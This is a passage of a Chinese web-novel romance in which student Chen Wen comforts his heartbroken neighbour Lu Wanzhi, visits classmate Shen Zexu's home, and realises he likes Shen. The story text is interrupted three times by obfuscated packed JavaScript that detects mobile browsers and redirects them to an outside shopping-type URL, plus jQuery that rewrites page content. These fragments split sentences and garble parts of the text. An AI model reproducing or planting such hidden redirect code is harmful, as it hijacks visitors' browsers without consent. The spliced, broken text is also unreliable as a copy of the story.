陈温想起苏颜晓梦指甲上画的向日葵——那些倔强的花瓣,原来不是追逐太阳,而是对着月亮盛开的吗? “然后呢?”陈温的声音干涩得不像话。 “没了。” 就这样? 陈温心情立刻好了不少。 扑棱棱飞起的几只麻雀,像是把他那些不痛快的心情也一并带走了。 他们在巷口分别。 陈温没去公交站,而是沿着人行道慢慢走着,晚风裹挟着不知谁家厨房的饭菜香。 他路过一家烧烤店,走出了一会,又返了回来。 陆晚枝??? 霓虹灯在烧烤摊的塑料棚顶晕成融化的糖,陆晚枝面前的空酒瓶排成寂寞的队列。 她垂落的发丝浸在泼洒的啤酒里,似乎还有一两根白头发,烟灰缸堆成的小山丘上,几点猩红明明灭灭。 “小妹妹,你怎么一个人在喝酒啊?” “跟叔叔们喝一杯啊,来来来,这杯敬你。”隔壁那一桌的油腻大叔即将碰到女生手腕时,陈温的校服袖子先一步挡在了中间。 几个醉汉的影子在墙上膨胀成野兽的形状。 “哪来的奶娃娃?”啤酒肚男人喷着酒气,纹着青龙的手臂横在陈温面前。 陈温感觉后背渗出了点冷汗,但他仍挺直脊梁:“我是她弟弟。”他伸手去扶陆晚枝,发现她手冷得像十二月屋檐的冰棱,“姐,走我们回家。” “我不要去……”陆晚枝哭笑起来,睫毛上挂着将坠未坠的水珠。 “江夏说每年都要给我过生日的。”她指着对面空荡荡的座位,还有红色塑料椅上放着未拆封的礼物盒,“她人呢?给我寄这个是什么意思?” 陈温这才注意到塑料凳上的礼物盒,木桌上还摆着两副餐具,另一碗凉透的炒面完整得令人心酸。 “她不会来了。”陆晚枝攥紧陈温的手腕,“明明说好每年都要的……” 尾音碎在开瓶器的脆响里。 “别喝了,”陈温按住她又要开一瓶的手,“江夏姐看到你这副样子也会担心的。” “她有本事就回来。” “你喝醉了,我们先回去。”陈温架起她,但陆晚枝却不动,他问:“又怎么了?” “还没有给钱。”陆晚枝道。 陈温放下书包,摸出扁扁的钱包,皱巴巴的纸币在掌心——是准备买额外学习资料的零花钱。 路灯把他们的影子拉得很长,陆晚枝的高跟鞋在石板路上敲击。 经过垃圾桶时,她把礼物盒随手扔了进去。 撞击声惊飞了夜栖的麻雀,陈温看见盒子里滚出很多东西,其中有一枚向日葵形状的发卡。 钥匙串在陆晚枝手里哗啦作响,试到第三把钥匙时,她莫名其妙蹲了下来,将自己蜷成小小一团。夕阳从楼道窗口漏进来,照亮她手背上未干的泪痕。 “她竟然不爱我了。”陆晚枝开口,嗓子哑得像被砂纸磨过,“现在连我醉死在路边都不管了。” 陈温的手悬在半空,最终轻轻落在她颤抖的肩胛骨上。那里硌得厉害,仿佛这几个星期消瘦下去的躯体。 楼下传来电视的欢快音乐,跟一家人说说笑笑的声音,衬得此刻的沉默愈发震耳欲聋。 陆晚枝的钥匙串还挂在门锁上,其中一枚向日葵挂件歪歪斜斜地反着光。 当第一滴泪砸在陈温鞋上时,楼道声控灯突然熄灭。黑暗中他听见衣料摩擦的声响,陆晚枝正在用袖子粗暴地擦脸。 “我没事,都放下了。”她站起来,钥匙串叮当作响,“明天还要上班呢。” 门开的瞬间,陈温瞥见茶几上未拆的生日蛋糕,奶油向日葵已经塌成了模糊的落日。 “嗯。”陈温最终只是轻轻应了一声,声音低得几乎听不见 。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171963|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他站在玄关处,见陆晚枝踉跄地跌进沙发。她的手机屏幕亮了一下,又迅速熄灭——是垃圾短信,不是江夏发的。 陈温觉得胸口发闷,像是有人往心脏里塞了一团浸了水的棉花,沉甸甸地坠着,连呼吸都牵扯出细密的疼。 这明明不是他的离别,可看着陆晚枝红着眼眶死死咬住下唇的样子,他忽然想起妈妈生前养的那盆茉莉花。 离开惠城的前一天,陈林峰特意嘱咐元姨要好好照料。元姨每天都按时浇水,甚至还在花盆底下垫了青瓷托盘。 可某个清晨,那株茉莉花却毫无征兆地枯死了——米白色的花盘低垂着,茎秆却依然笔直,像是用最后的力气在维持体面。 就像此刻的陆晚枝,指甲深深掐进掌心,却倔强地仰着脸不让眼泪掉下来。 “要喝蜂蜜水吗?我下楼买。”陈温轻声问。 “没事……睡一觉就好了。”陆晚枝微微摇头,沙发缝露出半张电影票根,日期停在江夏消失的前一周。 那只小猫不知从哪个角落钻出来,细软的尾巴扫过女生的脚踝,它喵呜一声跳上膝头,用它那圆滚滚的脑袋顶陆晚枝垂落的手掌。 悲伤像是会传染。 陈温摸着发胀的太阳穴,仿佛自己也吞下了陆晚枝那些未说出口的苦酒。 他带上门的时候,听见里面传来很轻的一声“咔嗒”——陆晚枝反锁了房门。 夜风呜咽着穿过楼道,撕扯着墙上的广告单,像无数只苍白的手在拍打。 陈温背靠在粗糙的墙面,手指在手机屏幕上悬了又落。 江夏的聊天窗口静得像口古井,最后一条信息还是他发的「你在哪里?」。 「晚枝姐很难过」——这六个字打完又删,删了又打,最后像扔出一块烫手的炭似的发了出去。 夹在这两人中间,陈温觉得自己像根被绷紧的弦,稍一用力就会断裂。他本以为这次又会石沉大海,但手机突然震动起来: 「江夏:她还好吗?」 简单的四个字,却让陈温的手指微微发僵,他飞快地打字: 「你还好吗?怎么都不回我信息?」 对话框上方显示“对方正在输入……”,断断续续,像是江夏也在犹豫。最终,一条消息弹出来: 「不要告诉她。」 而后一切的一切又归于沉寂。 男生望着重归黑暗的手机屏幕,觉得那阵微风似乎钻进了自己的胸腔,凉飕飕地刮着心脏。 他回头看了眼陆晚枝紧闭的房门,又低头盯着自己的手机,屏幕的光映在他脸上,照出一抹复杂的情绪。 明明知道江夏的消息对陆晚枝来说意味着什么,却又被一句“不要告诉她”堵住了所有想说的话。 最终,他只能慢慢地回了一个「嗯」。 可心里却像压了一块石头,沉甸甸的,坠得他呼吸都在发闷。 回了卧室,刚放下手机,屏幕又亮了起来。 黄曦:「同桌还在吗?」 虽然已经转学两个月了,黄曦除了刚转学的那几天还是叫他前同桌,之后就固执地这么叫他。 陈温回了个:「怎么了?」 对面秒回:「没事不能来找你?我好无聊啊。」附带一个打滚的兔子表情包。 陈温无奈地笑了笑:「我们明天还要考试。」后面跟了个哭泣的猫猫头。 黄曦的回复带着雀跃的意味: 「同桌,我感觉我要恋爱了!」 陈温一愣:「???」 「隔壁班转来了个大帅哥,还问我要联系方式!」女生又补了个害羞捂脸的表情。 陈温并不意外。 黄曦开朗又温柔,有人喜欢她再正常不过。 他回一句:「恭喜。」 「黄曦:你怎么这么平淡啊!给点反应嘛!」 陈温想了想,问:「你喜欢他吗?」 对面沉默了几秒,然后发来一条语音。 他点开,黄曦的声音带着笑意: 「其实我还有点紧张,第一次被人这么直接要联系方式……」 黄曦的语音还在继续播放,笑声像一串清脆的风铃。可男生的嘴角却慢慢垂了下来,胸口泛起一阵莫名的酸胀——就像那天看到沈泽许和那个女生站在门口时一样。 他翻了翻书包里的复习资料,那里面静静地躺着苏颜晓梦给他的纸条,边角处已经有些皱了。 陈温点开添加好友的界面,输入那串号码时。 「验证消息:我是陈温。」 发送成功后,他盯着屏幕出神。 黄曦的消息又跳了出来,陈温认真地回了几句,对话便像断了线的风筝,晃晃悠悠地坠入沉寂。 夜风变大了,窗帘被猛地掀起,像一只苍白的手在黑暗中挣扎。书桌上的试卷哗啦作响,纸页翻飞,如同他此刻理不清的思绪。 他怔怔地站在原地。 自己好像介意的从来不是什么“不了解沈泽许”,而是每次站在那人身边时,胸口翻涌的、如针扎的酸涩。 就像现在。 无声无息,却又挥之不去。 31. 尝尝 考试的第二天,阴云密布。 食堂人潮汹涌,陈温他们像寻宝似的在桌椅间穿梭,终于在角落发现一张空桌! 旁边坐着李清依和李欣桐,两人正对着数学竞赛的事指指点点。 “早知道奖品是游戏机,我就不跟敬业姐说不去了。”李欣桐戳着米饭,道:“上次那块五花肉,害我拎着走了一路,回头率百分百。” 叶萧云筷子停在半空:“什么?你们‘集体退赛’了?”他转头看向林宇舟,“就留我和沈泽许?” “不是还有陈温陪你嘛。”林宇舟讪笑着往陈温那边挪了挪:“还有,你不是也拿到你想要的游戏机了?” “回去的当晚就被我妈没收了。”叶萧云哀嚎一声,引得邻桌频频侧目。 陈温低头扒饭,从他们的对话中终于明白了老师为什么点名要他参赛——班上数学极好的人不多,想去的人就更少了。 而他去年拿过省二等奖的奖状,至今还放在前班主任的办公桌。 他们不去自然有道理——去年学校发的竞赛奖励是五花肉,油纸一裹,拎在手里沉甸甸的,活像年货。 有人当时就黑了脸,有人倒是笑了半天。 后来家里奖状攒了一摞,参加竞赛又要做永远写不完的题目,谁都没心情想去。 他们开玩笑道:“猪肉领一次就够了。” 林宇舟眼珠子咕噜噜地转,说:“哎,老沈,听说你爸给你买了最新款游戏机?” 沈泽许“嗯”了声说:“没要,放到杂物间了。” “为啥?”叶萧云瞪大眼睛,“要是我爸给我买,我立马能考个第一回来。” 餐盘上的水珠沿着边缘滑落,沈泽许阴沉着脸,盯着那道水痕没说话。 李欣桐猛地捶了下叶萧云的大腿,疼得他“嘶”了一声。 “关你什么事啊,吃你的饭。” 见两人又要打起来,林宇舟适时插话:“哦对了!我妈问白阿姨什么时候出院啊?” “明天。” “那太好了!”林宇舟眼睛一亮,“我妈说好久没人陪她逛街了。” 他又说:“那……我们能去你家玩新游戏机吗?上次那个《冰火人》我还没通关呢。” 沈泽许的目光不经意扫过低头扒饭的陈温,道:“可以,都有谁去?” “我我我!”叶萧云第一个举手。 林宇舟用手肘碰了碰陈温:“你呢?去不去?” 陈温抬头正好撞进沈泽许的眼睛里——那双眼被阳光照耀,如琥珀般的浅褐色,像是要把他整个人吸进去。 他喉结滚了滚,鬼使神差地点了头。两个女生则是摆摆手,一个要补课,一个有事。 考试结束后的周末,早晨微凉的风卷着桂花香钻进公交窗缝。 陈温攥着手机坐在29路后排,他今天套了件米白色衬衫,露出像是晒了一个夏天才稍微变深的手腕,那块被烫伤的疤好了不少。 沈泽许在群里发了定位,最后一条消息停留在十分钟前: 【到了和门卫报我名字】。 下车时一阵眩晕袭来,陈温扶住站牌缓了缓,由于太久没出门,双眼被阳光刺得发酸,导航提示音在安静的小区门口停下。 “是沈同学的朋友吧?欢迎欢迎。”门卫笑着按下遥控器。 铁门缓缓滑开,陈温瞥见远处一间别墅门口站着个人影——是沈泽许,那人穿着浅色系的卫衣,额前碎发正被风吹得轻轻摆动。 “你怎么在门口?”陈温慢悠悠走到铁艺大门前,见沈泽许正倚在门柱上。 “晒太阳。”沈泽许直起身,拍了拍裤腿上的灰。 陈温抬头看了眼不算热烈的阳光,欲言又止。 总不可能是特意等他吧?这个念头刚冒出来就被他按了回去。 这……太自恋了。 “他们来了吗?”陈温说。 “来了一个。” 推开雕花铁门,扑面而来的是百合的香气,角落摆着几个陶盆,都是新栽的茉莉幼苗。 沈泽许推开玻璃门,客厅里立刻传来林宇舟的大嗓门:“上勾拳!KO!” 厨房飘来苦涩的香气,水流声戛然而止。 林宇舟盘腿坐在波斯地毯上,手柄线缠成了乱麻。他头也不回地喊:“哟来了!” 那熟稔的语气,仿佛他才是这个家的主人。 陈温换上一次性拖鞋,余光见鞋柜里整齐摆着三双同款不同色的棉拖——灰色那双明显经常穿,边缘已经起了毛球。 一抬头,电视柜、楼梯间、储物柜,都是冷冰冰的摄像头正对着他。 其实从踏进花园那刻起,陈温就注意到了——墙角、树梢、门廊,那些闪着红点的黑色眼睛。只是他没太在意。 这种高档小区,谁家不装几个监控呢? “要不要来一局?”主人晃着手柄,“我让你三个大招。” “我不会玩这个。”陈温整个人陷进柔软的沙发里,像被一团云朵包裹住,“你们玩吧。” 他偷偷瞥了眼坐在另一头的沈泽许——那人正用木质的牙签戳起一块蜜瓜,他手上还有淡青色的血管纹路。 沈泽许忽地转头,蜜瓜的汁水在他指尖泛着晶莹的光。 他手腕一翻,将水果递到陈温嘴边:“尝尝,很甜。” 陈温看了看沈泽许浅笑的表情,张嘴,蜜瓜的清甜立刻冲淡了嘴里残留的莫名苦味。 “再来一块?”沈泽许又戳起一块。 林宇舟在游戏间隙回头,正好看见这一幕:“喂喂喂,我也要!” 沈泽许头也不回地把整盘蜜瓜推过去。 “自己拿。” 林宇舟没吃,继续怂恿陈温玩这个游戏。 忽然,一个瘦削的身躯从厨房走出来,白千月端着托盘,上面摆着几杯冒着热气的黑色饮品,像极了黑暗料理。 她穿了件米色家居服,嘴唇粉红,气色看起来比在医院时精神多了。 “小温来了?”白千月眉眼弯弯,把托盘放在茶几上。 “阿姨好,”陈温连忙站起身,“您真好看。” 白千月笑着点了点他的额头:“就你嘴甜。”她将其中一杯推到陈温面前,“尝尝阿姨特制的养生茶。” 陈温犹犹豫豫地接过玻璃杯,黑褐色的液体里飘着几片可疑的草药。他小心翼翼地抿了一口,苦涩瞬间在舌尖炸开,呛得他差点咳嗽起来。 余光瞥见林宇舟默默地把自己的杯子往远处推,而沈泽许面不改色地喝了大半杯。 “怎么样?”白千月用期待地神色看陈温。 “嗯……挺特别的味道。”他挤出一个笑容,感觉已经舌头麻了。就在白千月让他喝完时,沈泽许突然伸手拿过他的杯子。 “妈,他喝不惯。” 白千月露出恍然大悟的表情:“瞧我,忘了你们年轻人不爱喝苦的。”她转身往厨房走,“我去拿点蜂蜜来调一调。” 林宇舟趁机凑到陈温耳边说:“上次我来也被灌了三杯,回去拉了半夜肚子。”他做了个夸张的鬼脸,“沈家祖传的黑暗料理。” 沈泽许一个抱枕砸过去,被他笑着躲开。 “叮咚——” 林宇舟刚好结束一局游戏,他跳起来去开门,门外站着的人是叶萧云,他顶着一头乱发站在门口,帽子都戴歪了。 “热死我了!”他一屁股坐在地毯上,“我妈前脚出门打牌,我后脚就溜出来了。”说着迫不及待地抓起手柄,“快快快,让我玩两把!” 林宇舟笑着摇头:“为了打游戏,你也是够拼了。” 叶萧云说:“不然呢?作业写完了都不还我游戏机,简直惨无人道!” 白千月调了一些蜂蜜给陈温便上了楼,客厅顿时变成了男生们的天地。 屏幕上两个像素小人打得天昏地暗,林宇舟碰了碰旁边人的肩:“陈温,你真不试试?” 那人往沈泽许那边又挪了挪,几乎要陷进对方怀里:“我、我还是看你们玩吧……” 陈温后悔极了,自己只会玩消消乐,养“青蛙”和种地的“养老型玩家”,干嘛要来参加这种需要技术的游戏聚会。 过了一会,白千月拎着小包,边整理衣领,边下楼。她站在玄关处清了清嗓子:“小沈,我跟小舟妈妈出去逛街了,你们乖乖待在家里,知道吗?” 白千月难得获准出门,全因林母游说。 那天她眉飞色舞描述商场新开的甜品店时,白千月不自觉舔唇的小动作被沈明远捕捉到了。沈明远最终点头同意,却坚持要她戴上定位项链。 虽然说白千月能出去玩,她很高兴,但她已经24小时没跟沈明远说过话了。 窗外传来汽车鸣笛声,林妈妈那辆红色轿车停在门口,车载音响正放着《心太软》,透过半开的车窗飘进来。 白千月推开大门,一眼便瞧见林妈戴着夸张的猫眼墨镜,已经下车为她拉开了车门,“小白,快点儿!” 白千月回头最后叮嘱:“到饭点阿姨会煮面,不许点外卖,也不要玩太久,知道吗?”她特意看了眼沈泽许,对方正倚在门框上点头。 汽车渐渐驶远,几人回到客厅。 陈温悄悄退出喧闹的游戏圈,蜷进沙发角落。他的旅行青蛙正蹲在竹林里啃丸子,背景是治愈系的水彩樱花。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171964|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这抹柔软的色彩与客厅里激烈的游戏音效形成奇异反差。 他余光瞥见沈泽许仰头饮尽杯中的黑色液体,喉咙上下滚动。那人察觉到他的目光,嘴角还沾着可疑的药渣,问道:“怎么了?” 陈温慌忙别开眼,却见沈泽许一步步凑近了他。男生身上苦涩的药香混着茉莉花香,在陈温鼻尖织成一张网。 “青蛙?”沈泽许的声音带着笑意,指尖在屏幕上轻点,“有点像你。” 未等陈温反驳,他起身走向厨房。 “给你换杯甜的饮料。” 电视机前爆发出欢呼,林宇舟他们似乎通关了。陈温没抬眼,青蛙不知何时又寄来新照片——这次它蹲在某个游戏机旁,像素风的屏幕上隐约可见两个依偎的小人。 沈泽许从厨房端出一杯橙汁,刚把玻璃杯递给陈温,阿姨便招呼他们吃饭了。 旋转餐桌上摆着热气腾腾的牛肉面,葱花浮在汤面上像小小的绿舟。 酒足饭饱,几人又窝回沙发,挑选了部中式恐怖片消遣。投影仪的光束里尘埃飞舞,音响传出阴森的配乐。 “这男主是不是傻?”叶萧云抱紧抱枕,“非要半夜去闹鬼的医院探险!” 屏幕上方跳出一张惨白的鬼脸,林宇舟“嗷”地一声差点把薯片撒了一地。 沈泽许转头看向陈温——那人正淡定地嚼着薯片,腮帮子一鼓一鼓,活像只囤食的仓鼠。 “这血假得跟番茄酱似的。”他煞有介事地点评,伸手又抓了把爆米花,眼里只有食物。 沈泽许盯起陈温被屏幕光照亮的侧脸,对方睫毛都没颤一下,反倒是林宇舟和叶萧云已经吓得滚作一团。 “要不……换个爱情片?”沈泽许试探地问道。 “别啊!”陈温眼睛一亮,“正到精彩的地方呢!”说着,他指向屏幕里血淋淋的场面,兴奋得像在看美食节目。 “……”沈泽许苦笑扶额,看的另外两个瑟瑟发抖的队友。 陈温上次在密室里绷紧嘴角,硬撑着说自己“不怕”,与现在看恐怖片连眼皮都不眨的样子,简直不像同一个人。 暮色渐晚,叶萧云早早溜回了家,生怕他妈提前回来,林宇舟还窝在沙发上刷手机。 陈温摩挲着杯壁,盯着橙汁里浮动的果肉出神。 手机显示下一班车还要十分钟到站,但他并不着急——那个空荡荡的家,早回晚回都一样。 这次月考完还要开家长会。男生无意识地刮着玻璃杯。 上次家长会陈林峰以出差为由没来,这次呢?会来吗? “怎么了?”沈泽许的手在他眼前晃了晃。 陈温猛地回神,摇头:“没事,我回去了。” “要帮忙叫车吗?” “我坐公交。” 林宇舟从手机里抬起头:“这么晚了,让我家司机送你?” “不用。”陈温放下玻璃杯。 “有啥不好意思的?” 男生已经站起身,余光瞥见沈泽许也跟着了站起来,他道:“我送你。” 这一次,陈温没有拒绝。 两人沿着小径慢悠悠地走着,落日把百合花丛照得发着橙光。 等他们晃到公交站时,电子屏上正显示着“29路-7站”的字样,尾灯的红光在拐角处一闪而逝。 “啊……”陈温无意识地揪住衣角,晚风掀起他额前的碎发,“错过了。” “没关系,错过了就等下一班车。”沈泽许看了眼站牌,影子完全笼住了陈温,“我陪你等。” 陈温伸手推他,掌心抵在对方胸口,却像推到了一堵温热的墙。 “不用了,你先回去吧……” “赶我走?”沈泽许的声音忽然低了下来,带着陈温从未听过的委屈。 “不是!”他急忙否认,耳尖在夜色中悄悄红了。他从小就习惯了一个人,从没想过会有人愿意为他浪费时间等一辆不知何时会来的公交。 沈泽许已经坐在长椅上,他拍了拍身边的位置,示意陈温过来。 夜风送来他身上淡淡的茉莉香,混着刚洗过的衬衫气息。远处传来几声犬吠,电子屏的数字跳成了“6站”。 “其实……”陈温绞着手指坐下,“我只是不习惯麻烦别人。” 沈泽许的声音沉了下来:“我是别人吗?” 闻言,陈温猛地摇头,发梢扫过泛红的耳尖。 “嗯。”沈泽许指了指远处要行驶来的公交车,说:“玩个小游戏吗?赌下一班车是单号还是双号。” 陈温眨了眨眼。他突然意识到,这是第一次,有人愿意陪他等一辆错过的公交车。 32. 我该不会…… “当然是喜欢你啊……”…… 男生从小区的快递站走了出来,他抱起一个棕色的纸箱站在陆晚枝家门口。 楼道里的感应灯忽明忽暗,纸箱边角硌得胸口发疼。陈温腾出手按门铃时,小猫的叫声先从门缝里漏了出来。 “等一下,来了。”门开得很突然,陆晚枝散着半干的头发,发梢还滴着水,在黑色家居服上洇出深色的斑点。大少也走了出来,蹭着陈温的裤脚,尾巴勾出一个问号。 “生日快乐!”陈温把藏在背后的盒子伸了出来,“虽然迟了一天。” 陆晚枝低头看了一下,手指在门把上收紧:“谢谢,但是不用了……” 话音未落,大少就抓着陈温的裤脚往上凑,还愉悦的“喵喵”叫。 陈温直接把盒子塞进女生怀里:“看攻略挑的,不知道你喜不喜欢。”他指了指小狸花,“你看,大少都让你收下。” 小猫都这样了,陆晚枝只好收下。 小刀划开胶带,雪白的泡沫便露了出来,女生从一堆泡沫中提起一个包装盒。 “颈部按摩仪?”陆晚枝翻看快递单,199元的标签被荧光笔圈了出来,旁边还画了个小小的笑脸。她抬头时,发现陈温正不自在地把手背在身后,单纯地笑眼角弯弯。 “你喜欢吗?”陈温说。 “谢谢,我很需要。”陆晚枝的指尖停在按摩仪的开关上,却没有按下去,“但是这个太贵了……” 她的目光扫过陈温洗的有些发白的平底鞋,那是一双5年前的一个款式。 “喜欢就好,我先回去了,拜拜。”陈温像是没听见她的顾虑,转身就要走。 “等等。”陆晚枝快步上前,拖鞋在地板上发出轻响。 大少趁机也跟上去,尾巴扫过陈温的脚踝。 “谢谢你上次带我回来,实在不好意思给你添麻烦了,还有那个饭钱……” “那就当是,之前在你家蹭饭的钱吧,虽然说远远不够。”陈温打断她,想起每次去隔壁蹭饭,桌上总会有他爱吃的菜,他总吃得狼吞虎咽,直到腮帮子鼓成仓鼠。 两人都很照顾陈温,就像对待弟弟一样,弄得陈温都不太好意思起来。 说起来,自从江夏离开,他已经很久没有去过隔壁了。 陆晚枝找钱的手停在半空,两人之间的空气凝结成冰。 “那……正好我多煮了碗米线。”女生的发丝垂落在脸颊两侧,“要不要留下来吃?” 陈温的肚子不合时宜地叫了一声。他这才想起今天没让元姨留饭,而厨房飘来的香味正勾着他的胃。 大少像是看穿他的犹豫,轻轻喵了一声,用脑袋蹭他的小腿,好像在说:“同意吧,同意吧!” “……好吧。”陈温最终点头同意,跟着陆晚枝走进温馨的屋子。 灯光下,两碗冒着热气的米线摆在桌上,红油汤底上飘着翠绿的葱花,旁边的小碟里盛着金黄的炸豌豆——正是他最喜欢的搭配。 热气在不大不小的桌之间缓缓升腾。陈温低头嗦着米线,烫得舌尖发麻也舍不得停下。 他刻意没去问那“多煮的一碗”是为谁准备的,埋头快要把汤汁喝得见底。 “太美味了!”陈温不加掩饰的夸赞,嘴角还沾着一点红油。 “慢点吃。”陆晚枝说,但她的筷子在碗里无意识地搅动,米线渐渐泡发了也没吃几口。 她的目光穿过蒸腾的热气,恍惚间仿佛看见大学时的江夏也是这样,被烫得直吐舌头还要夸她手艺好 。 那时候她每天打三份工,深夜有时候会给江夏送一碗热乎的米线。 “喵~”大少跳上一旁空着的椅子,用爪子去够桌上的炸豌豆,陆晚枝这才回过神,把猫抱到膝上。 小猫温暖的体温透过布料传来,却驱不散心里那股寒意。 分手那天其实早有预兆——江夏开始推脱约会,消息回复得越来越慢,连她最珍视的纪念日都只是敷衍地发个红包。 可当句“我们分开吧”真的从电话那头传来时,陆晚枝还是觉得像被人当头浇了盆冰水,全身湿透狼狈。 她真的了解她吗? 两人的开始好像也是场错误,但那件事也不是她们自取的,一切的一切大家都一起熬过来了,又为什么突然放手呢?是自己做的不够好吗? 江夏连猫粮都买好了三个月的量,就像是……提前计划好的。江夏抛弃了这里,抛弃了小猫,更抛弃了自己。 陈温的筷子顿在半空。 他看见一滴玻璃般的水珠落在桌面上,不知道是米线的汤,还是别的什么。 大少从女生的膝头跳下,碰动了江夏常坐的那把椅子,沉闷的撞击声里,陈温默默递过纸巾。 陆晚枝接过时,指尖冰凉。 现在说再多也没有用,有些路只能独行,有些痛必须亲自消化。 他能做的,不过是在陆晚枝踉跄时递杯温水,在她沉默时留一盏玄关的灯。 男生没待多久,安慰了几句,就回了隔壁。 玄关处的灯迟钝地亮起,在客厅投下孤零零的光圈,拖鞋踩在大理石地面上的声响被放大,像往深井里扔了颗石子。 浴室的水流冲刷过陈温到身体,他盯着雾气朦胧的镜面。 水珠在锁骨处打了个转——那里似乎还残留着沈泽许呼吸拂过的温度。 一想到沈泽许,陈温心脏在胸腔里不安分地跳动,像只被困在玻璃罐里的蝴蝶,翅膀扑棱棱地拍打着胸腔。 他抹开镜面上的水雾,镜子里映出一张迷茫的脸。 沈泽许之前在玩真心话大冒险的时候说过,他有喜欢的人,那人怎么可能会是自己呢? 这个念头像冷水般浇下来,太荒唐了。 陈温又调低了几度水温…… 洗完澡,阳台的洗衣机滚筒发出沉闷的轰鸣,衣服在里面纠缠成一团。 手机在茶几上亮了一下,陈温擦拭头发的手顿了顿,一滴水在屏幕上晕开了黄曦发来的小猫探头的表情包。 「温馨提示:怎么了?」 「黄曦:他今天牵我手了!!!(小猫打滚.jpg)」 陈温托举着手机,却迟迟没有落下什么字。 黄曦又发来一串消息,字里行间满是藏不住的雀跃,那些粉色的气泡在对话框里不断弹出,刺得他眼眶发酸。 他删了又打,最终只发出去一句干巴巴的提醒:「别忘了你的逆袭计划,过几天就要考试了,别被外界影响到了。」 手机屏幕暗下去,映出陈温紧抿的嘴角,浴室的水珠还在滴答作响,像某种倒计时。 他盯起自己的手掌心,想起傍晚时沈泽许说“陪你等车”,路灯像在那人浑身上下的边沿处,都撒下朦胧的金粉。 他颤抖着手,点开对话框:「后天数学课……」打了又删,最后发出去的却是:「你上次说的喜欢的人是谁啊?」 发完,他急忙把手机关了,像是在害怕看到回复。 窗外,夜归的汽车碾过减速带,发出沉闷的声响,过了许久,手机屏幕终于有了动静。 「大好人:你。」 直白的话语刺进眼睛,陈温张大了嘴,欲言又止的模样。 「大好人:猜。」 好一个大喘气…… 陈温觉得他心跳快得几乎要冲破胸膛,男生咬着下唇,手指在键盘上悬了又悬,最终只回了一个模棱两可的:「哦。」 对方的状态立刻变成“正在输入……”,陈温屏住呼吸,眼睛一眨不眨地盯着屏幕。 三秒后—— 「大好人:“哦”是什么意思?」 「陈温你是不是有什么问我?」 更加直白的问句让他耳根发烫,手指蜷缩又松开。 「温馨提示:没事没事,哈哈。」 在段话显得格外欲盖弥彰,句尾那个干巴巴的“哈哈”活像哽咽声。 「……」 沈泽许的省略号悬浮在屏幕上方,六个小圆点像串密码,又像是叹息。 陈温刚要关掉手机去晒衣服,就见消息源源不断地蹦出来。 「大好人:物理课要用的笔记。」 「后天我放你桌洞。」 「早点睡,晚安。」 三行字规整得像是精心测量过间距,连句号都工整得过分,像在切生日蛋糕一样。 提到“生日”时,陈温想起了什么,问道: 「等一下,你生日是什么时候?」 陈温想起给陆晚枝挑选生日礼物时,突然意识到作为同桌的他,竟然连沈泽许的生日都不知道。 「那边安静了半分钟回:9月1号。」 男生猛地坐直身子,快速点开日历——现在已经10月中旬了,而9月1日正是惠中提前开学的日子。 也就是说,他那天晚上还在家里收拾行李,沈泽许就已经度过了生日。 「温馨提示:开学那会怎么不跟我说。」 陈温发出去的每个字都冒着火气,一点就着的那一种。 「大好人:那个时候我们还不熟。」 这句话像盆冷水浇在陈温头上,想起开学第一天他就丢校卡的尴尬场面,他更气了。 「温馨提示:这不是借口!」 「大好人:我错了。」 沈泽许认错的速度快得让陈温猝不及防,仿佛还能看到沈泽许垂下眼睫委屈的样子。 正当陈温的气消了大半时,新消息便弹了出来。 「大好人:那你之后都陪我过好吗?」 窗外的木棉花树沙沙作响,之前总嫌这声吵,而现在简直就是交响曲,十分悦耳。 陈温的耳尖悄悄红了,他慢慢打字: 「一言为定。」 他一口气晒完衣服,而后把脸深深地埋进枕头里,布料闷热的触感让他本就发烫的脸颊更加灼热。 他翻了个身,盯着天花板上的裂纹发呆——蜿蜒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171965|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹路此刻看起来就像他乱成一团的思绪,一点一点捋清时,他对着空气喃喃自语,手指无意识地揪紧被单。 “我该不会……” 记忆如走马灯般闪回:沈泽许给他披校服时指尖的温度,教他题目时落在耳畔的呼吸声,还有那个轻如羽毛的“晚安”。 应该吧…… 也许吧…… 喜欢的还是沈泽许…… “不管了!”陈温猛地坐起身,头发乱糟糟地支棱着。可下一秒,他又像泄了气的皮球般倒回床上,把枕头死死按在脸上——沈泽许拒绝过15班那个男生的事,全校都知道。 陈温想起那天在食堂,林宇舟绘声绘色描述具体的场景:“沈泽许连看都没看情书,直接说了句‘不合适’。” 当时他还跟着笑了两声,现在想想真是讽刺。陈温把手机贴在胸口,仿佛这样就能离那个人近一点,“万一呢……” 胸口处的手机亮了亮。 